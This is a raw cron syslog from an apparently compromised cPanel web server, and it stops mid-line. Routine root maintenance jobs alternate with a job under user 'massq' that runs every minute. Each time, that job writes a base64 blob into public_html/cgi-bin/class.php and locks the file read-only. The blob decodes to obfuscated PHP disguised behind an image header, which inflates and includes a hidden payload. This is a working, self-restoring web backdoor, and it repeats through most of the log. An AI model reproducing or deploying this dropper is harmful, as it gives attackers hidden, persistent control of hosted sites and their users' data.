Sep  1 01:01:01 server CROND[13136]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 01:01:01 server CROND[13135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:01:01 server run-parts(/etc/cron.hourly)[13136]: starting 0anacron
Sep  1 01:01:01 server anacron[13154]: Anacron started on 2026-09-01
Sep  1 01:01:01 server anacron[13154]: Normal exit (0 jobs run)
Sep  1 01:01:01 server run-parts(/etc/cron.hourly)[13157]: finished 0anacron
Sep  1 01:02:01 server CROND[13513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:02:01 server CROND[13512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:02:01 server CROND[13514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:03:01 server CROND[13895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:03:01 server CROND[13896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:03:01 server CROND[13897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:04:01 server CROND[14350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:04:01 server CROND[14351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:04:01 server CROND[14352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:05:01 server CROND[14730]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:05:01 server CROND[14732]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:05:01 server CROND[14733]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 01:05:01 server CROND[14736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:05:01 server CROND[14743]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:05:01 server CROND[14742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:05:01 server CROND[14741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:05:01 server CROND[14740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:06:01 server CROND[16040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:06:01 server CROND[16041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:06:01 server CROND[16047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:07:01 server CROND[16633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:07:01 server CROND[16634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:07:01 server CROND[16635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:08:01 server CROND[16999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:08:01 server CROND[17000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:08:01 server CROND[17001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:09:01 server CROND[17375]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 01:09:01 server CROND[17376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:09:01 server CROND[17377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:09:01 server CROND[17378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:10:01 server CROND[17769]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:10:01 server CROND[17772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:10:01 server CROND[17773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:10:01 server CROND[17775]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:10:01 server CROND[17779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:10:01 server CROND[17778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:10:01 server CROND[17776]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:10:01 server CROND[17777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:11:01 server CROND[18687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:11:01 server CROND[18689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:11:01 server CROND[18690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:12:01 server CROND[19060]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 01:12:01 server CROND[19061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:12:01 server CROND[19059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:12:01 server CROND[19062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:13:01 server CROND[19438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:13:01 server CROND[19439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:13:01 server CROND[19440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxc